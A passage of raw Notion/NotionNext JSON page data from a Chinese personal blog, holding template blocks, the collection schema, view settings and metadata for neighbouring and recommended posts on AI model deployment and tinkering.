5-506087ec7d28":{"value":{"id":"bf1909a4-a0de-493c-ac25-506087ec7d28","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"d38a3fcf-2ced-4a62-adde-0a79ad02994b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"d38a3fcf-2ced-4a62-adde-0a79ad02994b"}},"4bd64c59-8abe-4d30-910a-e3730c858da7":{"value":{"id":"4bd64c59-8abe-4d30-910a-e3730c858da7","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"6185443c-dce5-4892-a033-ca6a0d082e98","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"6185443c-dce5-4892-a033-ca6a0d082e98"}},"339d9b2f-800f-415d-bd76-cd80db3150fe":{"value":{"id":"339d9b2f-800f-415d-bd76-cd80db3150fe","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"ce4db5e5-c0f9-4f35-b894-4546a5ad8712","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"ce4db5e5-c0f9-4f35-b894-4546a5ad8712"}},"6eca53c5-d3c1-48c6-8a9e-a093eeba75f4":{"value":{"id":"6eca53c5-d3c1-48c6-8a9e-a093eeba75f4","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"c4e5a7e1-ef39-4f11-82cb-6a7adb02d6ee","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"c4e5a7e1-ef39-4f11-82cb-6a7adb02d6ee"}},"b1e27fb8-1c5f-4345-990a-a5bcbaecbe50":{"value":{"id":"b1e27fb8-1c5f-4345-990a-a5bcbaecbe50","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"e022a548-e4f7-4a02-907d-a22d73d64353","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"e022a548-e4f7-4a02-907d-a22d73d64353"}},"b68e787c-2062-418d-9c64-cc9199e0dba4":{"value":{"id":"b68e787c-2062-418d-9c64-cc9199e0dba4","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"91e73644-592b-4b87-9915-1da4eb96159b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"91e73644-592b-4b87-9915-1da4eb96159b"}},"0b50d24f-c00e-46ee-bd81-073a69126edb":{"value":{"id":"0b50d24f-c00e-46ee-bd81-073a69126edb","type":"text","format":{"copied_from_pointer":{"id":"9b354478-3f05-4212-bfb6-b9149f7db5ad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"9b354478-3f05-4212-bfb6-b9149f7db5ad"}},"7099f78d-a822-4a4d-b53e-c01dd966f30d":{"value":{"id":"7099f78d-a822-4a4d-b53e-c01dd966f30d","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"e3832ae8-c130-471b-8f41-ee029da590e6","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"e3832ae8-c130-471b-8f41-ee029da590e6"}},"267f685c-37ea-403e-9557-8da4bdd04efb":{"value":{"id":"267f685c-37ea-403e-9557-8da4bdd04efb","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"4d4d1db1-10ef-45e0-93bb-e4f58d53101e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"8047ce49-8a30-43e3-ae21-1a9913da3140","parent_table":"block","alive":true,"copied_from":"4d4d1db1-10ef-45e0-93bb-e4f58d53101e"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone 